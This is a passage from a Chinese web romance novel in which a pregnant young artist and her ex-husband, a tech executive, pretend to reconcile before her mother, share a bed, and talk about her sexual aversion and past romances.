也正因如此,当陆竞深要求他联姻,并将备选对象们的照片,习以为常的铺开,摆在他桌面上,任他挑选时。 陆沉渊内心并不觉得奇怪,也没有什么惊讶的波澜起伏。 除了,一个意外。 他在桌上,看到了姜绒的照片。 那双澄澈至极,写满了与他整个世界相反,那些他从未看到过的,也无法用语言来形容的,生机勃勃与绿意盎然的美好的鹿眼,撞进了他视线里。 于是,忘记了计较一切利益得失,在陆竞深注视之下,陆沉渊伸出骨节修长的手指,轻轻按在了那双眼眸上。 “只是利益和生意?那得有多可悲,多可惜啊!” “人活在这个世界上,岁月短暂,猝然而逝。能有一份相濡以沫的爱情,有一段相守的婚姻,有一个始终站在自己身旁的人,是多么幸运的一件事。” 姜绒听了他的话,却啧了两声,抱着手臂,摇了摇头,显然非常不认同,他父母的婚姻模式。 陆沉渊一双黑眸,转头看向,她那张红发衬托之下,夜风吹拂里,更显白皙,眉眼熠熠生辉,好看到令人更加移不开视线的小脸。 兀然补充了一句,令姜绒惊讶,耳畔莫名发起了烫的话来: “但是现在,我期待。” 到达艺术馆门口,姜绒内心忐忑至极,果然已经远远看到了来势汹汹的苏女士身穿旗袍的背影,而她身边还站了一个人,令她更加惊讶。 竟然是一头金发的周野,是他陪苏女士,一同来的。 她们已经向这边围了过来,姜绒赶忙下了车,低着头,如同缩着头的鸵鸟一般,拖着步子,走到了自己妈面前。 “妈,您别生气了,听我跟你解释……” 怒不可遏的苏女士,却直接打断了她的一切寒暄,怒目圆睁,冲她喊道:“别叫我妈!我没有你这样的女儿!” “从小到大,我是怎么教你的!要你自重,要你保护好自己!你倒好,出国留学,接受了西式教育,就觉得自己不一样了?就飘了对不对?现在竟然连肚子都被人搞大了!” 姜绒只能低着头,乖乖听训,等着苏女士消气。 她知道,这个消息确实过于震撼了,甚至超出了苏女士的理解范畴。 而她确实也有错,不应该一时上头,扑倒了陆沉渊,并且不跟家人商量,就留下这个孩子,并且和他同居。 “你爸去国外出差了,你哥也没在凛川,怕影响他们,所以我还压着这件事,没来得及告诉他们!” “姜绒,你给我老老实实说,你肚子里的种是谁的?” 苏女士却没有要消火的意思,反而越说越生气,向她大声质问道。 姜绒脸上红了一下,内心羞耻至极,纤长的手指,绞在一起,她不敢说,不敢告诉苏女士,这是她“前夫”的孩子。 因为,她不敢想象苏女士会有何种反应。 此时,周野的声音,却兀然在她身旁响了起来: “小绒球,你就跟阿姨说吧!如果你是意外怀孕,我愿意陪你去医院一趟,一起解决这件事情。” 姜绒听到这句话,只觉得不可思议,一双鹿眼里盛满愤怒,仰头看向周野: “周野,你凭什么告诉我妈这件事!这是我的个人隐私!亏我还一直把你当朋友!” 听到她这句话,周野那双琥珀色眸子,瞬间怯了一下,他承认,在餐厅里,收到别人寄给他的,姜绒的孕检单以后。 他气血往上涌,一时根本控制不住情绪,便直接拍下了照片,冲动的发给了姜母。 但周野并不后悔,因为他深切的知道,拥有一对不靠谱的父母,成长在一个离异破碎的家庭,对孩子来说,是多么沉重的痛苦与枷锁。 于是,他垂了垂眸,向怒视着他的姜绒解释:“小绒球,我知道,你才刚大学毕业没多久,涉世未深,很容易上当受骗,也很容易感情用事。” “但是,你想想我,我就是一个最大的例子。我父母在我五岁的时候就离婚了,从那以后把我像只破皮球一样踢来踢去。” “没人管我上学读书的事,也没人管我的生活,管我的未来,我一度差点被送进孤儿院,或者在街头和混混打架,被人打死!” “那时候,支撑我活下来的,每天最大的恨意。就是迟早有一天,我要亲手解决掉,那对禽兽不如的父母。” 姜绒表情有些讶异,她从未听周野,这样具体的向她说起过,他儿时的经历,以及他父母的事。 “所以,你要慎重考虑。不清不楚,不明不白的生下一个孩子,对他才是最大的伤害!” “而且,无论你经历了什么,在我心里,你永远是你,永远也不会变!” 周野看向她,继续说道,语气坚定。 姜绒心绪有些复杂,原来,对方真是为了她考虑,才一得知了她怀孕的事,就迅速告诉了她母亲,苏女士。 这倒兀然,令她有些,不知道要怎么怪他了。 “你快说啊!孩子到底是谁的?”苏女士不管这些有的没的,急得不行,继续向姜绒大声逼问。 姜绒张了张唇,正欲艰难开口。 一道低沉而好听的声音,却兀然在众人耳畔响了起来,是停好了车,长腿一迈,向他们径直走来,气场强大的陆沉渊。 而他说出来的话,令在场的所有人,都瞬间瞪大了眼睛,惊讶无比: “阿姨,姜绒肚子里的孩子,是我的。” “我愿意对她负责,明天就可以和她去复婚领证!”《 》 30-40 第31章 第三十一章 径直吻上他的唇 复婚领证? 陆沉渊竟然真的有这种想法, 不是在跟她开玩笑? 明明对婚姻没有任何期待,也没有任何憧憬的一个人,竟然为了她, 主动站了出来。 面对苏女士的责问,竟然给出了这样的答案。 姜绒红着脸, 偷瞄了一眼站在她身旁,表情淡定的陆沉渊,不知为何, 只要他站在自己身边, 无论多么尴尬、多么窘迫的场景, 她总感觉到莫名的心安。 “你到底对小绒球做了什么?她明明说过她很讨厌你!” 听到这句话, 率先发难的是周野, 他怒不可遏, 一步跑到, 个子比他高了半个头,身高188的陆沉渊面前,伸手拽住他衣领,向他质问。 陆沉渊气场强大,纹丝不动, 显然他肌肉健壮的体格和过硬的身体素质,允许他在面对任何挑衅时, 都处于不败之风。 而薄薄的金丝眼镜片背后, 那双极深邃的黑眸,只是冷冷的注视着周野, 淡然开口,只是几个字,便彻底排除了周野与她的关系, 令他更加破防: “她的事,跟你无关。” 在一旁看着这一幕的姜绒,尴尬到头皮发麻,已经从耳根一直红到了,雪白的脖颈上。 周野自然会以为,是陆沉渊这人心怀不轨,把她给睡了,毕竟自己确实,信誓旦旦的在他和林晚面前,说过不少关于陆沉渊的坏话。 但事实却完全相反,是自己把陆沉渊给睡了啊!而且还要他来承担一切的炮火。 “哎,周野,你冷静点,这事怪不到陆沉渊头上!”她走到两人面前,踮起脚,手忙脚乱的劝起了架来。 一旁逐渐从震撼中回过了神来的苏女士,却一把薅住了姜绒后脖颈:“什么意思?姜绒,你给我解释解释!” “你跟陆沉渊不是离婚了吗?你们怎么又搞出来了一个孩子!” 直视着苏女士那双怒目圆睁,极度锐利的眼睛,姜绒知道,饶她演技再好,也很难再拿出什么借口,去欺骗她了。 但她绝对不要把,是自己喝多了,被朋友们送去陆沉渊的别墅后,自己酒壮怂人胆,主动扑倒了陆沉渊的事实给说出来。 毕竟,她是从小美到大的校花,面对众多追求者,高高在上,从不给眼色的人。 她还要面子,还要脸啊! 更不必说,苏女士也好,她爸,她哥也好,都知道她初中那件事情,对她产生的心理阴影有多大,知道她患有严重hsdd的事。 而她这样一个hsdd患者,竟然会因为生理性喜欢,而主动扑倒了陆沉渊,这本身就是一个,极度不合理,没有说服力的悖论! “快点说!”苏女士继续向她追问,声音语调之高,甚至吸引了周野和陆沉渊的注意力。 所有人的视线几乎都落在她身上,等待着她给出一个答案。 姜绒闭了闭眼睛,红着白皙的小脸,决定彻底豁出去了,她赫然说出了一句,令所有人都目瞪口呆的话来: “妈,是因为和陆沉渊离婚以后,我才发现,我已经难以自拔的爱上了他,所以和他开始了暗中交往,才有了这个孩子!” 空气瞬间凝固,并且安静了下来,周野松开了陆沉渊,脸上写满了不可思议与不敢置信。 苏女士亦惊讶的看着她,毕竟作为极受欢迎,又从不缺人追的千金大小姐校花,她眼光极高。 从小到大,姜绒甚至都没有主动对她说过,她喜欢上了任何一个男生的事。 陆沉渊那双灼热的黑眸,探究意味亦很强,直视着她那张涨得通红的小脸,唇角还隐隐有了一丝弧度,似乎觉得很有意思的样子。 “哎呀,这个就是我为什么怀上了孩子的事实啦!你……你要是不信,我可以证明给你看!” 姜绒抬起头迎上苏女士那双,似乎听到了天方夜谭,试图从她脸上找出端倪来的锐利眸子,朝她信誓旦旦的说道。 她攥紧汗湿的掌心,很清楚的明白,自己这说法,和她前后对待陆沉渊的态度,出入实在太大,毕竟苏女士,可是曾经实打实的劝过她,不要去和陆沉渊领离婚证的。 而自己不仅不听劝,还怼了她好几句,顺便说了陆沉渊坏话。 她知道,以苏女士的个性,自己如果不加码,或者拿出实际行动来,她绝对不会相信,自己如嘴里所说,突然爱上了陆沉渊,并且和他有了孩子,这件事情。 “怎么证明?姜绒,你别又想糊弄我!”苏女士耐着性子,向她反问。 顾不上其他了,姜绒兀然迈开步子,走到了陆沉渊面前,红着一张白皙的小脸,伸出纤长的手指,拽住了他质感极佳的,黑色高定领带。 陆沉渊似乎也不知道,她到底打算做什么,却微微俯下了高大的身量来,极度配合她的动作。 于是,在众人一片愕然的目光里,姜绒涨红着脸,踮起脚尖,圈住了他修长的脖颈,径直吻上了陆沉渊那张,形状好看的唇。 双唇相碰的瞬间,整个世界仿佛都变慢了,姜绒闭着眼睛,长睫因为紧张而止不住的颤抖。 夜风是微凉的,吹在身上泛起一层密密麻麻的冷意,但这依然无法抑制,她内心的火热,以及一切产生的生理反应。 陆沉渊的回应出乎她想象的热烈,宽大的手掌,已经牢牢握住了她纤瘦腰肢,唇齿纠缠间,雪松木的冷冽,混杂了佛手柑清香,和檀香余韵向她袭来,与她的蜜桃甜味,交融在一起。 这个吻甚至由她的假戏真做,在陆沉渊逐渐掌握主动权之下,完全变了调。 他在肆无忌惮的攻占,她的每一寸领地,而且吻得越来越疯,越来越深。 令姜绒红着白皙的小脸,根本无法退缩,甚至止不住腿软,纤长手指攥紧了他胸前衣襟,开始后悔。 自己真的招惹了一个不该招惹,也招惹不起的人。 一旦开始,只能由他来喊停。 不知吻了多久,当陆沉渊终于肯放开她时,姜绒脚心终于踩在地上,落了地,脑子里仍然有些昏昏沉沉的。 脸色铁青至极的周野,已经借故离开了,显然不想看他们两人如此大秀恩爱的刺眼画面。 而惊愕至极的苏女士,早已经换了一张表情,看向他们两人的脸上,写满了喜悦: “我早就说过了,你们两个很合适!这感情多好呀,沉渊,你和你父母商量一下,选个日子,你们俩见家长,复婚领证吧!” 苏女士这前后反差极大的态度,令姜绒呆了一下:“妈,你这也太快……” “好的,阿姨,您放心。”陆沉渊却语气坚定,立刻应了下来这句话。 苏女士仿佛变了个人,再也没有刚才那副气势汹汹,怒目圆睁的模样,反而喜气洋洋的向他们提议: “现在天色也这么晚了,你们跟我回别墅休息吧,反正以后都是一家人了!绒绒,你现在怀着身孕,更要好好保重自己,让沉渊好好陪着你!” 姜绒只得点了点头,红着脸回答:“好。” “你爸和你哥那边,等他们俩回来了以后,你自己和她们说去。”待他们一起上了苏女士开来的黑色宾利车以后,苏女士一边向她说道,一边启动了车辆。 姜绒坐在车上,点了点头,却总觉得,她怎么好像,莫名其妙的,主动把自己送上了一条贼船呢。 到了姜家别墅里,她所“心爱”的陆沉渊,很快被苏女士,安排在姜绒的房间里过夜,并且姜绒还被苏女士特别叮嘱,要她对一定要对自己这准未婚夫好一点。 计划赶不上变化,看来自己刚才和陆沉渊那一出,过于投入的亲吻戏份,已经彻彻底底的说服了苏女士。 姜绒在楼下,带着陆沉渊转了一圈,参观家里。 对方超乎她意料的精于世故,不仅极其嘴甜的夸赞了,挂在别墅墙上的,苏女士的那一系列水墨画作品,不愧为大家之作。 甚至还极为贴心的表示,他的集团里恰好就缺少这么一系列,风格适配的水墨画,于是大手笔的,包下了所有苏女士的水墨新作品。 苏女士高兴至极,差点被这“新”女婿,哄成了返老还童的胚胎,催着他们赶快回房休息,交流感情了。 于是,姜绒红着脸,带着陆沉渊到了别墅二楼,自己的房间里,朝他说道:“你先自便吧,我去给你拿我爸的睡衣穿。” 事实上,这也是一个暂时得以脱身的借口,她还不知道怎么面对一个,自己刚刚主动献上了吻的人。 陆沉渊点了点头,朝她细不可微的扬了扬唇。 “那我走了。”姜绒红着耳朵转身,一拔腿,就大步往房间外走去了。 目送她离开以后,陆沉渊高大的身影,离开沙发,站起身来,环顾起了,姜绒这间,以芭比粉为主,装修风格梦幻柔美,且挂了许多她艺术画作的房间。 风格和她本人类似,粉色的羊绒毯铺在地上,粉色的梳妆台上,摆着各类化妆品与香水,还有插在玻璃瓶里的大捧粉色雏菊。 墙上挂的,以及地上摆的几幅,大部分都是姜绒的自画像,形态和表情各异的少女。 每一副的材质都不一样,有红酒画、水彩画、丙烯画、还有彩铅和流体画,甚至还有一小幅马克笔画。 显然她是创意型艺术风格为主,思维跳脱活跃,鬼马行空,会的艺术画种类非常多。 而一些画具和画笔,以及一些用来雕塑的工具,都被她随意的扔在地上。 陆沉渊微微闭上眼睛,深深呼吸了一下。 这里到处都弥漫着属于姜绒身上,那股令他自少年时期开始,就无法抗拒的蜜桃甜香味,足以令他血液沸腾起来,欲/望只往一处奔去。 她就像他的世界里,一个永远无法解释的bug,而他没有选择修复、并远离这个bug,反而选择了走近、与之共舞。 睁开眼睛时,陆沉渊的视线,却兀然被姜绒摆在墙角,一块红色绒布,牢牢盖住的小尊雕塑,给吸引了视线。 他走上前去,半蹲下身来,骨节修长的手指,掀开了那块绒布,底下的成品,却令他勾了勾唇,差点笑了一下。 那是一个——糟糕透顶的失败品,一座歪到不成样子的石膏斜塔。 雕塑旁边还放着一个速写本,上面是姜绒用极其细致的笔触,画着的设计图——这个作品,有着一个充满哲学意味的名字,《罪之高塔》。 而设计图旁边,却贴着一张写满物理公式的草稿纸,密密麻麻的,显然是姜绒曾经,试图计算,这座雕塑的重心、应力分布,确保它在失衡中寻找平衡。 但她的理科计算能力,显然完全无法支撑这个宏大的构想。 最终成品就像一个即将融化的、歪扭的楼梯,又像一个被砸歪的现代主义建筑模型,与她的设计图相去甚远。 低头仔细看去,陆沉渊甚至看到了,雕塑的基座上,有姜绒用小刀刻下、几乎看不清的一行小字:“第三次尝试,重心依旧偏移。 对于姜绒理科差的事,高中时,从不关心,除了自己以外,周围任何一个同学的陆沉渊,其实有所耳闻。 是真的——亲耳听到。 那是高一第一个学期的期中考试结束,他毫无意外的,拿下了整个年级的理科第一。 无论是数学,还是物理,他全部轻松拿到了满分,遥遥领先了年级第二名,整整二十分的距离。 而那一次考试的难度并不低,拿到试卷以后,整个班上,几乎除了陆沉渊以外,都是哀鸿遍野。 而作为数学老师以及物理老师的爱徒,要求他将自己的试卷,送去办公室里,作为年级示范卷来展示。 于是陆沉渊拿了试卷就往教学楼西侧,办公室的方向走去,经过楼梯拐角处的石柱之时,他却在石柱背后听到了姜绒的声音。 对方似乎正在和她的闺蜜,大肆吐槽,内容恰好与他有关,一字一句,无比清晰的落到了他耳朵里: “我的理科要是有陆沉渊那个电脑人一半好就好了!就不至于连格也及不了!” “反正他就是台电脑,人脑又用不着,还不如把他的头直接安我头上呢。” 与此同时,在姜新鸣房间,打开衣柜,拿了他最大号的睡衣的姜绒。 一回想起,自己刚才主动搂住陆沉渊修长脖颈,吻上对方唇的,那副惊世骇俗的场面,仍然觉得脸上发烫。 面对异性,自己明明患有严重的hsdd,但多次的勇敢,竟然都给了同一个人,那就是——陆沉渊。 这是高中时代的她,想破脑袋也不可能想象到的事吧。 尽管,不敢面对刚才的自己,但她也得面对,毕竟人家正在房间里等着她呢。 姜绒拿着睡衣,走回自己房间,推开门时,却看到了一个,令她目瞪口呆,瞬间涨红了白皙小脸,羞耻至极的画面。 陆沉渊正俯身,端详那座她藏在角落里,最不希望任何人看到的,最不能见人的,她所最失败,最丑的一个雕塑作品,他甚至还伸出骨节修长的手指,轻轻比划着那尊雕像的偏移角度。 姜绒一个箭步冲上前,抓起旁边一块更大的绒布,立即将那尊雕像盖了起来,嘴里飞快地向陆沉渊解释,红着脸挽尊: “那是……是我大二立体构成课的废稿!对,废稿!你不许看!” 听到她的话,陆沉渊站起身,一双黑眸锁住她绯红小脸,忍不住笑出了声:“偏移3.7cm。” “艺术家的事,能算偏移吗?那叫……叫动态平衡!你不懂!”姜绒脸上红的更加厉害,挡在那尊雕像前,语无伦次的替自己辩解道。 陆沉渊明点了点头,似乎在认可她的说法,但他沉声说出来的话,却令姜绒耳根更加发起了烫: “别算了,以后你想做什么样的不平衡实验,直接告诉我,我来做你的大脑。” “你只管放心大胆地创造,我来为你解决,所有重心偏移的问题。” 姜绒对上陆沉渊那双,紧紧锁住她的炙热黑眸,与面对他人时的冷若冰霜相比,此刻那双眸子,是如此生动好看,一如将凛冽的冰霜破开,而绽出的春花。 令她的心跳,莫名其妙再次快了半拍。 她低下头去,红着耳根,不得不承认,自己头一次,如此强烈的感受到了,心动的滋味。 “睡……睡觉吧,今晚上你睡沙发,我睡床上。” 姜绒迅速转移话题,不敢再直视陆沉渊,反而将自己拿来的睡衣,放在了沙发上,向他安排到。 陆沉渊似乎却并不想听从她的安排,对方长腿一迈,在她惊讶的目光里,高大的身影,径直坐在了她身侧的床上。 对方摘下了高挺鼻梁上,薄薄的金丝边眼镜,骨节修长的手指,松开了修长脖颈上,禁欲十足的黑色真丝领带。 明明是极寻常的动作,但他做起来,偏偏像是一幅画报般好看,令姜绒不由有些看呆了。 目光落在他昏黄灯光下,极度好看的脸型轮廓,清晰眉眼,以及形状突出的喉结。 少去了镜片的遮挡,陆沉渊转过脸来,俯身逼近,那双直白而炙热的黑眸,牢牢锁住她, 兀然说出了一句,令姜绒惊讶万分,白皙小脸再度绯红的话来: “同床共枕,也是治疗的最佳方式之一,你认为呢?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 亲亲(* ̄3 ̄)╭ 第32章 第三十二章 这里有感觉吗? “好……好吧。”姜绒垂下长睫, 耳根发烫,紧张的吞咽了一下口水,鬼使神差的答应了下来。 治疗, 确实是个很好的,能够说服她的理由。 毕竟因为这个原因, 曾经当她以为,自己能够接近幸福的时候,毫无例外, 都失败了。 不知是不是她的错觉, 她能看到陆沉渊唇角弧度微妙的上扬了一下, 似乎对她的回答, 非常满意。 于是, 姜绒红着脸, 在床边的一侧, 蜷缩着身体,把整个人盖在粉色的蚕丝被底下,躺下去。 尽力忽略,陆沉渊在她背后,换睡衣时, 发出窸窸窣窣的声音,微微闭上眼睛, 假装睡觉, 根本不敢回头。 其实姜绒很想再拿一个枕头,摆在他和陆沉渊之间, 这样能够完全杜绝,肢体接触的可能性。 但她忍住了这个冲动,如果这样去做了, 那她岂不是仍然活在曾经那个阴影之下,没有给自己走出去的机会。 毕竟,在这个世界上,陆沉渊是所有异性里,令她唯一不抗拒肢体接触的神奇存在。 雪松的味道传来,她另一侧的柔软床榻,极其明显的凹陷了下去,是他高大的身影,在她身侧躺了下去。 姜绒开始在心里祈祷,但愿这个人能够乖乖睡觉,而不会来招惹她。 整间卧室陷入了黑暗里,安静极了,只有月光透过白色的纱窗,柔和的落进了落地窗内。 但正是因为这种安静,姜绒越发能够感觉到陆沉渊这个完全无法忽略的存在,能听到他规律而平稳的呼吸声,从自己脑后传来。 二十四年以来,这是她第二次,和一个异性同床共枕,而这个人,是她肚子里,孩子的父亲。 陆沉渊同样没觉得好受到哪里去,在绝对的黑暗与如海一般寂静的安静里。 姜绒的呼吸声、她翻身时衣料的摩擦声、她红色发丝掠过枕头的细微声响,以及身上随风而起的蜜桃香气,都会自动被他的感官无限捕捉、放大,就如同最剧烈的催化剂。 陆沉渊想,自己或许喜欢的是自虐的滋味。 否则,为何明明清楚的明白,自高中时起。 他靠近她时,靠近的就是折磨。 那段对她欲/望,最过强烈,令他沉迷于收集她各类个人物品,且无法自拔的时间。 为了不影响自己的学业,他甚至请求过江之晏,给他开了一些镇静的药物,以此来强行转移自己的注意力。 但陆沉渊深知,远离她,带来的只会是更深的崩溃。 而现在,她同意和自己同床共枕,肚子里甚至怀上了他的骨血。 就如同一道诱人而美味,仅针对他而诱捕的餐食,正摆在餐桌上,对着他,散发最迷人的香气。 姜绒根本睡不着,无论她怎么努力,即使闭上了眼睛,也毫无一丝困意,她甚至觉得,如果再这样下去,自己或许会通宵整夜,也不一定。 此时,她身后却再次传来了一些细微的动静,她白皙的耳根发烫,逐渐感知到了,那似乎是陆沉渊在从床的另一侧,缓缓靠近她。 他到底要做什么?不会真的以为,自己已经睡着了吧? 姜绒浑身有些僵直,闭着眼睛的长睫,抖得更加厉害,纤长的指尖发白,紧紧攥住,压在自己身下的蚕丝绒被。 很快,她整个身体都颤抖了一下,睁开眼睛,差点发出了一声惊呼。 因为,姜绒清晰的感觉到了。 陆沉渊带着他体温的指腹,正隔着她身上薄薄的蚕丝睡衣,一点点落在,她纤薄后背的肩胛骨上,力度放得很轻,似乎在弹奏着什么,不知名的钢琴曲一般。 而她被他触碰的每一处皮肤,几乎都瞬间如同被点燃了一小簇火苗,发烫的厉害。 她脸上红得不行,自己现在到底应该怎么做? 继续装睡?还是干脆直接制止他的行为,不让他得寸进尺,告诉他,自己已经醒了。 然而,陆沉渊宽阔的胸膛,自身后将她完全笼罩,灼热的呼吸,伴随着他喑哑的声音,已经紧贴着她白皙耳廓边,清晰的落了下来: “这里,有感觉吗?” 姜绒瞪大了一双慌乱的鹿眼,刚好撞上了陆沉渊那双,毫无任何遮挡与掩饰,在黑夜中亮得发光,牢牢锁住她的炙热黑眸,被抓包了个彻彻底底。 她紧张至极,绯红着白皙的小脸,艰难吞咽了一下口水,诚实的点了点头:“有……” 陆沉渊眼尾发红,骨节修长的手指,继续往下滑落,如同缠住了猎物,便不肯放开的蛇。 这次落在了她攥紧被子的白皙手背上,略带粗糙的指腹,轻轻摩挲了一下她修长指背,哑着声音向她问:“那这里呢?” 姜绒顺着他的动作看去,看到自己小巧的手,因为与他巨大体型差的缘故,极轻松的被陆沉渊宽大手掌,整个覆盖,笼罩。 她脸上红的发烫,突然意识到一件事情。 他似乎,在试图点燃、并唤醒她,尘封已久的感觉。 “你的感官没有问题。”似乎是因为她的回答,陆沉渊在她耳畔,给出了一个笃定的答案。 听到他的话,姜绒愣了一下,却忘记了将自己的手,从陆沉渊宽大手掌里撤回。 真的吗?她的感官,似乎确实在他的触碰之下,每一处都产生了相应的反应,没有任何问题。 陆沉渊的声音,却再次在她耳畔响起,这次问出了一个,姜绒意料之外的问题: “你谈过恋爱吧?高一的时候,和隔壁班的纪辰。” 纪辰?在她记忆里,一个如此古老的名字。 姜绒好一会儿才想了起来,那是隔壁班的校草,她生命里的一个过客,极其微不足道的存在。 他为什么突然问起她这个问题? 姜绒仰头,对上了陆沉渊那张,月光之下轮廓深邃,越发好看得如同雕塑一般,半明半暗的脸。 在对方那双极度好看、有神,牢牢锁住她的黑眸,以及审讯一般,将她手指握得极紧的宽大手掌里。 她兀然读出了一丝阴湿的占有欲。 陆沉渊至今还记得,那年的书架背后,姜绒透过书缝,与那个隔壁班,所谓校草调笑的刺耳声音。 也正是那阵浪笑声,在他记忆里挥之不去,所以那时,就如同姜绒对他有着电脑人的偏见一般,他对姜绒同样亦有着狐媚子的偏见。 姜绒望向他的那双澄澈鹿眸里,却浮现出了最纯粹的不解,给了他一个,完全不同于他想象中的答案: “没有啊,我这个病,怎么可能和他谈恋爱?我和他只是玩得来的朋友而已,现在都断联了。” 陆沉渊那张严肃的脸上,似乎浮现出了一抹放松,但紧接着姜绒嘟着唇,说出来的话,又再一次出乎他意料: “我初恋,又不在高中……” 他目光灼灼,立即向她追问出声:“那在什么时候?” “大学的时候啦,一个我仰慕了很久的同系学长,是个中英混血,笑起来很好看,有点像青春版的小李子。”姜绒诚实的回答他。 她手背上传来微痛,似乎是陆沉渊,听了她对于别的男人的这句赞美,将她手握得很紧,力道大得,令她有点吃痛。 姜绒赶忙补充了一句:“但是我跟他be的很惨烈!而且就在他向我表白那天!” “哦?”手背上的力道骤然减轻,陆沉渊那双幽深而有神的黑眸,牢牢锁住她,似乎是在洗耳恭听,等待着她说出这段经历。 姜绒垂下颤抖了几下的长睫,时至今日,说起这段尴尬的经历,仍然令她,羞耻的想找个地洞钻进去。 上了大学的她,因为初三那件事情的阴影,抱着自己既能够在理想的艺术学府里学习,又能够远离一下国内的环境。 因此,在高二,通过那边艺术高中的自主招生以后,她就很快求苏女士和姜新鸣,送她去英国求学了。 而在英国伦敦的艺术高中里上完高中以后,她也如愿以偿的,考进了伦敦中央圣马丁艺术学院。 但姜绒万万没想到,哪怕自己进入了大学。 十五岁那年,藏在心里的那份过于深刻的恐惧,仍然会控制她此后的整个人生。 大一时,一节跨年级的艺术鉴赏课上,姜绒第一次见到了那名长相完全符合她审美,样貌惊艳,大了她一级的学长。 而大学时,成功入选了拉拉队,以及话剧社团的她,多次在各种校园活动上露了脸,而一经露脸,她就毫无意外的,被众人瞩目,成为了男生们嘴里的“The it girl”。 那名学长,同样在一场篮球赛上,因为她啦啦队的表演,而被她吸引。 学长作为学校女生们眼里的完美存在,温柔,优秀,充满魅力,是几乎全校女生仰慕的对象。 他开始约她出来,一起学习或者喝咖啡,姜绒并不排斥,和他待在一个空间的感觉,也因此,理所当然的认为,自己已经克服了hsdd。 然而,事情的转折点,发生在她大二时的那个表白夜。 学长特意在学校的绿茵草地上,摆满了鲜艳的红玫瑰,并且单膝跪地,对她充满深情的,说完了浪漫表白的话语。 同为校园里的风云人物,学长这个显眼的行为,吸引了操场上无数同学的聚集与观看。 “答应他!”众人喊出的热烈话语,在姜绒耳边响起,几乎震破她耳膜。 学长那张帅气好看的脸,缓缓靠近,在她的瞳孔里放大,近到能够感受到彼此的呼吸,近到姜绒能够闻到,他身上剃须水的味道。 然后,意外发生了! 一股无法遏制的、生理性的强烈恶心感,从姜绒胃里翻涌而上。 她当着所有人的面,低头根本无法控制的吐了出来,尽数吐在了学长的裤子和一尘不染的鞋子上。 学长面色铁青,眼神里满是错愕。 围观的同学们,亦瞬间安静了下来,不敢置信的看向她。 结果自然是,她被对方彻底拉黑,删除,连一句解释的机会都没有。 姜绒人生头一回的初恋,就以这样的方式,悲惨而潦草的收尾了。 而她亦头一次,开始重视起了hsdd这个病症的严重性,亲自去看了心理医生,并且短暂的陷入了一段时间的抑郁。 “事情就是这样,不许嘲笑我!” 姜绒低垂眼眸,缩着纤长的脖子,向陆沉渊说完了这段,尴尬至极的羞耻经历,根本不敢想象,对方会有什么反应,于是向他警告了一句。 而不知,是不是她的错觉,抬头的瞬间,她似乎看到了他脸上浮起的笑意。 她红着脸,气不过,于是决定以牙还牙,迎着窗外的月光,向陆沉渊问出了口: “那你呢?你谈过几个?” “以你陆大少,高中时期就闻名全校女生的智商和家世,谈个恋爱,也只是勾勾手指的事吧?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 亲亲(* ̄3 ̄)╭ 第33章 第三十三章 那个例外是谁? 尽管, 在高中时代,她对陆沉渊的印象,一直是无趣的电脑人。 但姜绒估计, 整个凛川国际高中,只有她一个女生, 会这么去想。 毕竟,刚入学那一天,她就已经从闺蜜林晚嘴里听到了, 这可是招到了赫赫有名的学霸, 智商超群的天才——陆沉渊的凛川国际高中(13班)。 许多人, 就是奔着有陆沉渊这块活招牌在, 才跟着报了这所学校。 而且早就对班上同学们的家庭背景, 有所耳闻和研究的林晚, 早早就告诉了她。 以陆沉渊家里的实力, 就算是买上万个凛川国际高中,都只是动动手指的事,据说整个学校,还拿了陆氏集团,价值几个亿的教学楼, 以及教学仪器的赞助。 更不必提,他那时除了个子并不算出挑, 但黑色眼镜框背后, 那张轮廓深邃,棱角分明, 极其清秀的脸,毫无缺点。 也因此,许多女生为了能够, 在平常生活中接触到陆沉渊,与他有所交集,也几乎绞尽了脑汁。 姜绒就亲眼目睹过,她的同桌,趁下课时间,把整页的情书,以及小熊娃娃,或者各种式样的彩虹杯,精心包装好,塞到陆沉渊抽屉里去。 而无一例外,这些东西在陆沉渊发现后,都进入了垃圾桶,甚至为了杜绝这个现象,他还给他自己的课桌,专门加装了一块定制挡板,只有他能扭开那块板子,并放东西进去自己的抽屉。 而她后桌的女生,为了和陆沉渊搭讪,则借口数学题不会做,向对方请教,以此来接近他。 而陆沉渊的做法,令姜绒更加觉得啧啧称奇。 他淡定的看了一眼手腕上的手表,语气冷漠至极:“为你讲解需要花费8分钟,而我的自习计划,效率是每分钟0.75个知识单位,给你讲解,预计会造成我6个单位的净损失。” “所以,我拒绝。” 姜绒佩服于这些女生前仆后继的勇气,但讨厌着陆沉渊这电脑人的同时,对于对方受欢迎程度,亦心知肚明。 思绪回到现在,她仰头好奇的看着陆沉渊,想知道他到底会给出什么答案来。 她可是去过陆氏集团的大楼,光是在楼下,就见到了一圈环肥燕瘦,只等着见他这总裁一面的美女们。 “没有。”陆沉渊张了张好看的唇,目光灼灼的一双黑眸锁住她,说出来的答案,却令姜绒惊讶不已。 姜绒瞪大了一双鹿眼,继续向对方追问:“真的假的?你没在骗我吧?” 她白皙耳根有些发烫,如果对方真没谈过恋爱的话,那天的荒唐一夜,岂不是他的第一次? 而自己那天,直接扑倒对方的行为,简直就是妥妥的渣男行为? “你觉得,我会是相信爱情的人吗?”陆沉渊却继续向她沉声反问。 姜绒愣了一下,醒悟了过来。 确实,陆沉渊这种智商超群的人,与一般人的思维模式,或许根本不一样。 爱情这种虚无缥缈的东西,无法估量和计算,更蕴含无穷且未知的风险。 以陆沉渊出色的审计才能和金融天赋,应该很快就能得出,以他这种身份的人,爱情只是百害而无一利的存在吧? 更不必提,他亲口对自己说过,他的父母是纯利益交换的婚姻,没有感情,亦没有爱情的成分存在。 “好吧……”姜绒低下头去,语气有些失望,叹息了一声。 不知为何,她心里总觉得有些酸酸涩涩的,对于陆沉渊这个不相信爱情的诚实回答。 也许,是因为这些天来的短暂相处,她对陆沉渊有了些不切实际的期望? 认为一块寒冰,在自己面前或许会有不同?自己或许能够看到埋在冰层下面,那些燃烧的东西? 而这些,难道都只是她的错觉而已。 此时,她白皙纤长的手背,却兀然再次被陆沉渊宽大的手掌握紧了一下,他掌心的温暖紧紧熨帖着她。 姜绒好奇的抬头望向他,却正好撞进了对方,那双炙热而有神,眼尾微微发着红,在暗沉的月光里,依旧发着亮的黑眸。 心跳兀然,漏了半拍。 